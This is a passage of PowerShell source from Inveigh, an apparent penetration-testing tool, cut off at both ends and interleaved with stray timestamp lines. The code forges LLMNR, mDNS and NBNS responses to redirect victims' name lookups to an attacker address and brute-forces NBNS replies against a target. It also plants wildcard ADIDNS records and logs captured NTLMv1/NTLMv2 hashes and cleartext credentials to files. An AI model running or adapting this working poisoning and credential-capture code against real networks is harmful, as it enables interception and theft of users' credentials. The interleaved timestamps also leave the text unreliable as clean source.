$LLMNR_UDP_client . Close ( )
$LLMNR_UDP_client = new-Object System . Net . Sockets . UdpClient 5355
$LLMNR_multicast_group = [ IPAddress ] " 224.0.0.252 "
$LLMNR_UDP_client . JoinMulticastGroup ( $LLMNR_multicast_group )
$LLMNR_UDP_client . Client . ReceiveTimeout = 5000
2019-01-21 09:49:07 +00:00
$LLMNR_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type " LLMNR "
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $LLMNR_request_data )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $LLMNR_response_type [ $( Get-Date -format s ) ] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$LLMNR_request_data = $null
2018-07-23 08:55:15 +00:00
}
}
$LLMNR_UDP_client . Close ( )
}
# Unprivileged mDNS Spoofer ScriptBlock
$mDNS_spoofer_scriptblock =
{
param ( $Inspect , $mDNS_response_message , $mDNSTTL , $mDNSTypes , $SpooferIP , $SpooferHostsReply , $SpooferHostsIgnore , $SpooferIPsReply , $SpooferIPsIgnore )
$mDNS_running = $true
$mDNS_listener_endpoint = New-object System . Net . IPEndPoint ( [ IPAddress ] :: Any , 5353 )
try
{
$mDNS_UDP_client = New-Object System . Net . Sockets . UdpClient 5353
}
catch
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] Error starting mDNS spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$mDNS_running = $false
}
$mDNS_multicast_group = [ IPAddress ] " 224.0.0.251 "
$mDNS_UDP_client . JoinMulticastGroup ( $mDNS_multicast_group )
$mDNS_UDP_client . Client . ReceiveTimeout = 5000
$mDNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $mDNSTTL )
[ Array ] :: Reverse ( $mDNS_TTL_bytes )
while ( $inveigh . running -and $mDNS_running )
{
try
{
$mDNS_request_data = $mDNS_UDP_client . Receive ( [ Ref ] $mDNS_listener_endpoint )
}
catch
{
$mDNS_UDP_client . Close ( )
$mDNS_UDP_client = new-Object System . Net . Sockets . UdpClient 5353
$mDNS_multicast_group = [ IPAddress ] " 224.0.0.251 "
$mDNS_UDP_client . JoinMulticastGroup ( $mDNS_multicast_group )
$mDNS_UDP_client . Client . ReceiveTimeout = 5000
}
if ( [ System.BitConverter ] :: ToString ( $mDNS_request_data ) -like '*-00-01-80-01' )
{
$mDNS_response_packet = $mDNS_request_data [ 0 , 1 ] +
0x84 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$mDNS_request_data [ 12 . . ( $mDNS_request_data . Length - 5 ) ] +
0x00 , 0x01 , 0x00 , 0x01 +
$mDNS_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
2019-01-21 09:49:07 +00:00
$mDNS_query_string = Convert-DataToString 13 $mDNS_request_data [ 12 ] $mDNS_request_data
2018-07-23 08:55:15 +00:00
$mDNS_query_string_full = $mDNS_query_string + " .local "
2019-01-21 09:49:07 +00:00
$source_IP = $mDNS_listener_endpoint . Address
$mDNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
if ( ! $Inspect -and ( $mDNS_request_data -and $mDNS_listener_endpoint . Address . IPAddressToString -ne '0.0.0.0' ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
$mDNSTypes -contains 'QU' ) -and ( $inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP ) )
{
$mDNS_destination_endpoint = New-Object Net . IPEndpoint ( $mDNS_listener_endpoint . Address , $mDNS_listener_endpoint . Port )
$mDNS_UDP_client . Connect ( $mDNS_destination_endpoint )
$mDNS_UDP_client . Send ( $mDNS_response_packet , $mDNS_response_packet . Length )
$mDNS_UDP_client . Close ( )
$mDNS_UDP_client = new-Object System . Net . Sockets . UdpClient 5353
$mDNS_multicast_group = [ IPAddress ] " 224.0.0.251 "
$mDNS_UDP_client . JoinMulticastGroup ( $mDNS_multicast_group )
$mDNS_UDP_client . Client . ReceiveTimeout = 5000
2019-01-21 09:49:07 +00:00
$mDNS_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type " mDNS " -mDNSType " QU "
$mDNS_response_type = $mDNS_response_message [ 0 ]
$mDNS_response_message = $mDNS_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $mDNS_request_data )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $mDNS_response_type [ $( Get-Date -format s ) ] mDNS(QU) request $mDNS_query_string_full received from $source_IP $LLMNR_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$mDNS_request_data = $null
2018-07-23 08:55:15 +00:00
}
elseif ( [ System.BitConverter ] :: ToString ( $mDNS_request_data ) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*' )
{
$mDNS_response_packet = $mDNS_request_data [ 0 , 1 ] +
0x84 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 +
$mDNS_request_data [ 12 . . ( $mDNS_request_data [ 12 ] + 12 ) ] +
0x05 , 0x6c , 0x6f , 0x63 , 0x61 , 0x6c , 0x00 +
0x00 , 0x01 , 0x00 , 0x01 +
$mDNS_TTL_bytes +
0x00 , 0x04 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( )
2019-01-21 09:49:07 +00:00
$mDNS_query_string = Convert-DataToString 13 $mDNS_request_data [ 12 ] $mDNS_request_data
2018-07-23 08:55:15 +00:00
$mDNS_query_string_full = $mDNS_query_string + " .local "
2019-01-21 09:49:07 +00:00
$source_IP = $mDNS_listener_endpoint . Address
$mDNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
if ( ! $Inspect -and ( $mDNS_request_data -and $mDNS_listener_endpoint . Address . IPAddressToString -ne '0.0.0.0' ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
$mDNSTypes -contains 'QM' ) -and ( $inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP ) )
{
$mDNS_destination_endpoint = New-Object Net . IPEndpoint ( [ IPAddress ] " 224.0.0.251 " , 5353 )
$mDNS_UDP_client . Connect ( $mDNS_destination_endpoint )
$mDNS_UDP_client . Send ( $mDNS_response_packet , $mDNS_response_packet . Length )
$mDNS_UDP_client . Close ( )
$mDNS_UDP_client = new-Object System . Net . Sockets . UdpClient 5353
$mDNS_multicast_group = [ IPAddress ] " 224.0.0.251 "
$mDNS_UDP_client . JoinMulticastGroup ( $mDNS_multicast_group )
$mDNS_UDP_client . Client . ReceiveTimeout = 5000
2019-01-21 09:49:07 +00:00
$mDNS_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type " mDNS " -mDNSType " QM "
$mDNS_response_type = $mDNS_response_message [ 0 ]
$mDNS_response_message = $mDNS_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
if ( $mDNS_request_data )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $mDNS_response_type [ $( Get-Date -format s ) ] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$mDNS_request_data = $null
2018-07-23 08:55:15 +00:00
}
}
$mDNS_UDP_client . Close ( )
}
# Unprivileged NBNS Spoofer ScriptBlock
$NBNS_spoofer_scriptblock =
{
2019-01-21 09:49:07 +00:00
param ( $Inspect , $IP , $NBNS_response_message , $NBNSTTL , $NBNSTypes , $SpooferIP , $SpooferHostsIgnore , $SpooferHostsReply ,
$SpooferIPsIgnore , $SpooferIPsReply , $SpooferNonprintable )
2018-07-23 08:55:15 +00:00
$NBNS_running = $true
$NBNS_listener_endpoint = New-Object System . Net . IPEndPoint ( [ IPAddress ] :: Broadcast , 137 )
try
{
$NBNS_UDP_client = New-Object System . Net . Sockets . UdpClient 137
}
catch
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] Error starting NBNS spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_running = $false
}
$NBNS_UDP_client . Client . ReceiveTimeout = 5000
$NBNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $NBNSTTL )
[ Array ] :: Reverse ( $NBNS_TTL_bytes )
while ( $inveigh . running -and $NBNS_running )
{
try
{
$NBNS_request_data = $NBNS_UDP_client . Receive ( [ Ref ] $NBNS_listener_endpoint )
}
catch
{
$NBNS_UDP_client . Close ( )
$NBNS_UDP_client = New-Object System . Net . Sockets . UdpClient 137
$NBNS_UDP_client . Client . ReceiveTimeout = 5000
}
if ( $NBNS_request_data -and [ System.BitConverter ] :: ToString ( $NBNS_request_data [ 10 . .11 ] ) -ne '00-01' )
{
$NBNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $NBNSTTL )
[ Array ] :: Reverse ( $NBNS_TTL_bytes )
$NBNS_response_packet = $NBNS_request_data [ 0 , 1 ] +
0x85 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x20 +
$NBNS_request_data [ 13 . . $NBNS_request_data . Length ] +
$NBNS_TTL_bytes +
0x00 , 0x06 , 0x00 , 0x00 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( ) +
0x00 , 0x00 , 0x00 , 0x00
2019-01-21 09:49:07 +00:00
$source_IP = $NBNS_listener_endpoint . Address
2018-07-23 08:55:15 +00:00
$NBNS_query_type = [ System.BitConverter ] :: ToString ( $NBNS_request_data [ 43 . .44 ] )
2019-01-21 09:49:07 +00:00
$NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
$NBNS_response_type = " [+] "
2018-07-23 08:55:15 +00:00
$NBNS_query = [ System.BitConverter ] :: ToString ( $NBNS_request_data [ 13 . . ( $NBNS_request_data . Length - 4 ) ] )
$NBNS_query = $NBNS_query -replace " -00 " , " "
$NBNS_query = $NBNS_query . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$NBNS_query_string_encoded = New-Object System . String ( $NBNS_query , 0 , $NBNS_query . Length )
$NBNS_query_string_encoded = $NBNS_query_string_encoded . Substring ( 0 , $NBNS_query_string_encoded . IndexOf ( " CA " ) )
2019-01-21 09:49:07 +00:00
$NBNS_query_string_subtracted = $null
$NBNS_query_string = $null
2018-07-23 08:55:15 +00:00
$n = 0
do
{
$NBNS_query_string_sub = ( ( [ Byte][Char ] ( $NBNS_query_string_encoded . Substring ( $n , 1 ) ) ) - 65 )
$NBNS_query_string_subtracted + = ( [ System.Convert ] :: ToString ( $NBNS_query_string_sub , 16 ) )
$n + = 1
}
2019-01-21 09:49:07 +00:00
until ( $n -ge ( $NBNS_query_string_encoded . Length ) )
2018-07-23 08:55:15 +00:00
$n = 0
do
{
$NBNS_query_string + = ( [ Char ] ( [ System.Convert ] :: ToInt16 ( $NBNS_query_string_subtracted . Substring ( $n , 2 ) , 16 ) ) )
$n + = 2
}
2019-01-21 09:49:07 +00:00
until ( $n -ge ( $NBNS_query_string_subtracted . Length ) -or $NBNS_query_string . Length -eq 15 )
if ( $NBNS_query_string -notmatch '[^\x00-\x7F]+' )
{
if ( ! $inveigh . request_table . ContainsKey ( $NBNS_query_string ) )
{
$inveigh . request_table . Add ( $NBNS_query_string . ToLower ( ) , [ Array ] $source_IP . IPAddressToString )
$inveigh . request_table_updated = $true
}
else
{
$inveigh . request_table . $NBNS_query_string + = $source_IP . IPAddressToString
$inveigh . request_table_updated = $true
}
}
2018-07-23 08:55:15 +00:00
if ( ! $Inspect -and ( $NBNS_request_data -and $NBNS_listener_endpoint . Address . IPAddressToString -ne '255.255.255.255' ) -and ( ! $SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string ) -and (
! $SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string ) -and ( ! $SpooferIPsReply -or $SpooferIPsReply -contains $source_IP ) -and ( ! $SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP ) -and (
2019-01-21 09:49:07 +00:00
$inveigh . spoofer_repeat -or $inveigh . IP_capture_list -notcontains $source_IP ) -and ( $NBNSTypes -contains $NBNS_query_type ) -and ( $source_IP -ne $IP ) -and ( $SpooferNonprintable -eq 'Y' -or (
$SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+' ) ) )
2018-07-23 08:55:15 +00:00
{
$NBNS_destination_endpoint = New-Object System . Net . IPEndpoint ( $NBNS_listener_endpoint . Address , 137 )
$NBNS_UDP_client . Connect ( $NBNS_destination_endpoint )
$NBNS_UDP_client . Send ( $NBNS_response_packet , $NBNS_response_packet . Length )
$NBNS_UDP_client . Close ( )
$NBNS_UDP_client = New-Object System . Net . Sockets . UdpClient 137
$NBNS_UDP_client . Client . ReceiveTimeout = 5000
2019-01-21 09:49:07 +00:00
$NBNS_response_message = " [response sent] "
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type " NBNS "
$NBNS_response_type = $NBNS_response_message [ 0 ]
$NBNS_response_message = $NBNS_response_message [ 1 ]
2018-07-23 08:55:15 +00:00
}
if ( $NBNS_request_data )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " $NBNS_response_type [ $( Get-Date -format s ) ] NBNS request $NBNS_query_string < $NBNS_query_type > received from $source_IP $NBNS_response_message " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$NBNS_request_data = $null
2018-07-23 08:55:15 +00:00
}
}
$NBNS_UDP_client . Close ( )
}
# NBNS BruteForce ScriptBlock
$NBNS_bruteforce_spoofer_scriptblock =
{
2019-01-21 09:49:07 +00:00
param ( $NBNSBruteForceHost , $NBNSBruteForcePause , $NBNSBruteForceTarget , $NBNSTTL , $SpooferIP )
2018-07-23 08:55:15 +00:00
$NBNSBruteForceHost = $NBNSBruteForceHost . ToUpper ( )
$hostname_bytes = 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 ,
0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x43 , 0x41 , 0x41 , 0x41 , 0x00
$hostname_encoded = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $NBNSBruteForceHost )
$hostname_encoded = [ System.BitConverter ] :: ToString ( $hostname_encoded )
$hostname_encoded = $hostname_encoded . Replace ( " - " , " " )
$hostname_encoded = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $hostname_encoded )
$NBNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $NBNSTTL )
[ Array ] :: Reverse ( $NBNS_TTL_bytes )
for ( $i = 0 ; $i -lt $hostname_encoded . Count ; $i + + )
{
if ( $hostname_encoded [ $i ] -gt 64 )
{
$hostname_bytes [ $i ] = $hostname_encoded [ $i ] + 10
}
else
{
$hostname_bytes [ $i ] = $hostname_encoded [ $i ] + 17
}
}
$NBNS_response_packet = 0x00 , 0x00 , 0x85 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x20 +
$hostname_bytes +
0x00 , 0x20 , 0x00 , 0x01 +
$NBNS_TTL_bytes +
0x00 , 0x06 , 0x00 , 0x00 +
( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $SpooferIP ) ) . GetAddressBytes ( ) +
0x00 , 0x00 , 0x00 , 0x00
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget " ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_paused = $false
$NBNS_bruteforce_UDP_client = New-Object System . Net . Sockets . UdpClient ( 137 )
$destination_IP = [ System.Net.IPAddress ] :: Parse ( $NBNSBruteForceTarget )
$destination_point = New-Object Net . IPEndpoint ( $destination_IP , 137 )
$NBNS_bruteforce_UDP_client . Connect ( $destination_point )
while ( $inveigh . running )
{
: NBNS_spoofer_loop while ( ! $inveigh . hostname_spoof -and $inveigh . running )
{
if ( $NBNS_paused )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Resuming NBNS brute force spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_paused = $false
}
for ( $i = 0 ; $i -lt 255 ; $i + + )
{
for ( $j = 0 ; $j -lt 255 ; $j + + )
{
$NBNS_response_packet [ 0 ] = $i
$NBNS_response_packet [ 1 ] = $j
$NBNS_bruteforce_UDP_client . send ( $NBNS_response_packet , $NBNS_response_packet . Length )
if ( $inveigh . hostname_spoof -and $NBNSBruteForcePause )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Pausing NBNS brute force spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_paused = $true
break NBNS_spoofer_loop
}
}
}
}
Start-Sleep -m 5
}
$NBNS_bruteforce_UDP_client . Close ( )
}
# Control Loop ScriptBlock
2019-01-21 09:49:07 +00:00
$control_scriptblock =
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
param ( $ADIDNSCleanup , [ System.Management.Automation.PSCredential ] $ADIDNSCredential , $ADIDNSDomain ,
$ADIDNSDomainController , $ADIDNSForest , $ADIDNSHostsIgnore , $ADIDNSPartition , $ADIDNSThreshold , $ADIDNSTTL ,
$ADIDNSZone , $ConsoleQueueLimit , $NBNSBruteForcePause , $RunCount , $RunTime , $SpooferIP )
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
function Invoke-OutputQueueLoop
2019-01-20 20:27:28 +00:00
{
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
while ( $inveigh . output_queue . Count -gt 0 )
{
$inveigh . console_queue . Add ( $inveigh . output_queue [ 0 ] ) > $null
if ( $inveigh . file_output )
{
$inveigh . log_file_queue . Add ( $inveigh . output_queue [ 0 ] ) > $null
}
if ( $inveigh . log_output )
{
$inveigh . log . Add ( $inveigh . output_queue [ 0 ] ) > $null
}
$inveigh . output_queue . RemoveAt ( 0 )
}
}
function Stop-InveighRunspace
{
param ( [ String ] $Message )
2018-07-23 08:55:15 +00:00
if ( $inveigh . HTTPS -and ! $inveigh . HTTPS_existing_certificate -or ( $inveigh . HTTPS_existing_certificate -and $inveigh . HTTPS_force_certificate_delete ) )
{
try
{
$certificate_store = New-Object System . Security . Cryptography . X509Certificates . X509Store ( " My " , " LocalMachine " )
$certificate_store . Open ( 'ReadWrite' )
$certificates = ( Get-ChildItem Cert : \ LocalMachine \ My | Where-Object { $_ . Issuer -Like " CN= " + $inveigh . certificate_issuer } )
2019-01-21 09:49:07 +00:00
foreach ( $certificate in $certificates )
2018-07-23 08:55:15 +00:00
{
$certificate_store . Remove ( $certificate )
}
$certificate_store . Close ( )
}
catch
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] SSL Certificate Deletion Error [Remove Manually] " ) > $null
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
}
if ( $ADIDNSCleanup -eq 'Y' -and $inveigh . ADIDNS -eq 'Wildcard' )
{
try
{
Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node '*' -Partition $ADIDNSPartition -Zone $ADIDNSZone
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
}
}
if ( $ADIDNSCleanup -eq 'Y' -and $inveigh . ADIDNS -eq 'Combo' -and $inveigh . ADIDNS_table . Count -gt 0 )
{
$ADIDNS_table_keys_temp = $inveigh . ADIDNS_table . Keys
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $ADIDNS_host in $ADIDNS_table_keys_temp )
{
if ( $inveigh . ADIDNS_table . $ADIDNS_host -eq 1 )
2019-01-21 09:47:35 +00:00
{
2019-01-21 09:49:07 +00:00
try
{
Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $ADIDNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone
$inveigh . ADIDNS_table . $ADIDNS_host = $null
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] ADIDNS host (A) record for $ADIDNS_host remove failed " ) > $null
}
2018-07-23 08:55:15 +00:00
}
}
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . relay_running )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Start-Sleep -m 100
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Message )
{
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Inveigh Relay is exiting due to $Message " ) > $null
}
else
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Inveigh Relay is exiting " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . running )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Invoke-OutputQueueLoop
Start-Sleep -m 100
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . relay_running = $false
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . running )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Start-Sleep -m 100
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Message )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Inveigh is exiting due to $Message " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
else
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] Inveigh is exiting " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
Invoke-OutputQueueLoop
Start-Sleep -m 100
$inveigh . running = $false
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:47:35 +00:00
$inveigh . HTTPS = $false
2019-01-20 20:27:28 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . ADIDNS -eq 'Wildcard' )
{
Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone
}
2018-07-23 08:55:15 +00:00
if ( $NBNSBruteForcePause )
{
$NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause
}
$run_count_NTLMv1 = $RunCount + $inveigh . NTLMv1_list . Count
$run_count_NTLMv2 = $RunCount + $inveigh . NTLMv2_list . Count
$run_count_cleartext = $RunCount + $inveigh . cleartext_list . Count
if ( $RunTime )
{
$control_timeout = New-TimeSpan -Minutes $RunTime
$control_stopwatch = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
}
while ( $inveigh . running )
{
if ( $NBNSBruteForcePause -and $inveigh . hostname_spoof )
{
if ( $inveigh . NBNS_stopwatch . Elapsed -ge $NBNS_pause )
{
$inveigh . hostname_spoof = $false
}
}
if ( $RunCount )
{
if ( $inveigh . NTLMv1_list . Count -ge $run_count_NTLMv1 -or $inveigh . NTLMv2_list . Count -ge $run_count_NTLMv2 -or $inveigh . cleartext_list . Count -ge $run_count_cleartext )
{
2019-01-21 09:49:07 +00:00
Stop-InveighRunspace " reaching run count "
2018-07-23 08:55:15 +00:00
}
}
if ( $RunTime )
{
if ( $control_stopwatch . Elapsed -ge $control_timeout )
{
2019-01-21 09:49:07 +00:00
Stop-InveighRunspace " reaching run time "
}
}
if ( $inveigh . ADIDNS -eq 'Combo' -and $inveigh . request_table_updated )
{
try
{
Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh . request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . request_table_updated = $false
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . file_output )
{
while ( $inveigh . log_file_queue . Count -gt 0 )
{
$inveigh . log_file_queue [ 0 ] | Out-File $inveigh . log_out_file -Append
$inveigh . log_file_queue . RemoveAt ( 0 )
}
while ( $inveigh . NTLMv1_file_queue . Count -gt 0 )
{
$inveigh . NTLMv1_file_queue [ 0 ] | Out-File $inveigh . NTLMv1_out_file -Append
$inveigh . NTLMv1_file_queue . RemoveAt ( 0 )
}
while ( $inveigh . NTLMv2_file_queue . Count -gt 0 )
{
$inveigh . NTLMv2_file_queue [ 0 ] | Out-File $inveigh . NTLMv2_out_file -Append
$inveigh . NTLMv2_file_queue . RemoveAt ( 0 )
}
while ( $inveigh . cleartext_file_queue . Count -gt 0 )
{
$inveigh . cleartext_file_queue [ 0 ] | Out-File $inveigh . cleartext_out_file -Append
$inveigh . cleartext_file_queue . RemoveAt ( 0 )
}
while ( $inveigh . POST_request_file_queue . Count -gt 0 )
{
$inveigh . POST_request_file_queue [ 0 ] | Out-File $inveigh . POST_request_out_file -Append
$inveigh . POST_request_file_queue . RemoveAt ( 0 )
}
}
if ( ! $inveigh . console_output -and $ConsoleQueueLimit -ge 0 )
{
while ( $inveigh . console_queue . Count -gt $ConsoleQueueLimit -and ! $inveigh . console_output )
{
$inveigh . console_queue . RemoveAt ( 0 )
}
}
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . status_output )
{
Invoke-OutputQueueLoop
}
2018-07-23 08:55:15 +00:00
Start-Sleep -m 5
2019-01-21 09:49:07 +00:00
if ( $inveigh . stop )
{
$inveigh . console_queue . Clear ( )
Stop-InveighRunspace
Start-Sleep -S 1
}
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
#endregion
#region begin startup functions
2018-07-23 08:55:15 +00:00
# HTTP Listener Startup Function
2019-01-21 09:49:07 +00:00
function HTTPListener
2018-07-23 08:55:15 +00:00
{
$proxy_listener = $false
$HTTPS_listener = $false
$HTTP_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$HTTP_runspace . Open ( )
$HTTP_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$HTTP_powershell = [ PowerShell ] :: Create ( )
$HTTP_powershell . Runspace = $HTTP_runspace
$HTTP_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$HTTP_powershell . AddScript ( $HTTP_scriptblock ) . AddArgument ( $Challenge ) . AddArgument ( $HTTPAuth ) . AddArgument (
$HTTPBasicRealm ) . AddArgument ( $HTTPContentType ) . AddArgument ( $HTTPIP ) . AddArgument ( $HTTPPort ) . AddArgument (
$HTTPDefaultEXE ) . AddArgument ( $HTTPDefaultFile ) . AddArgument ( $HTTPDir ) . AddArgument (
2019-01-21 09:49:07 +00:00
$HTTPResponse ) . AddArgument ( $HTTPS_listener ) . AddArgument ( $NBNSBruteForcePause ) . AddArgument (
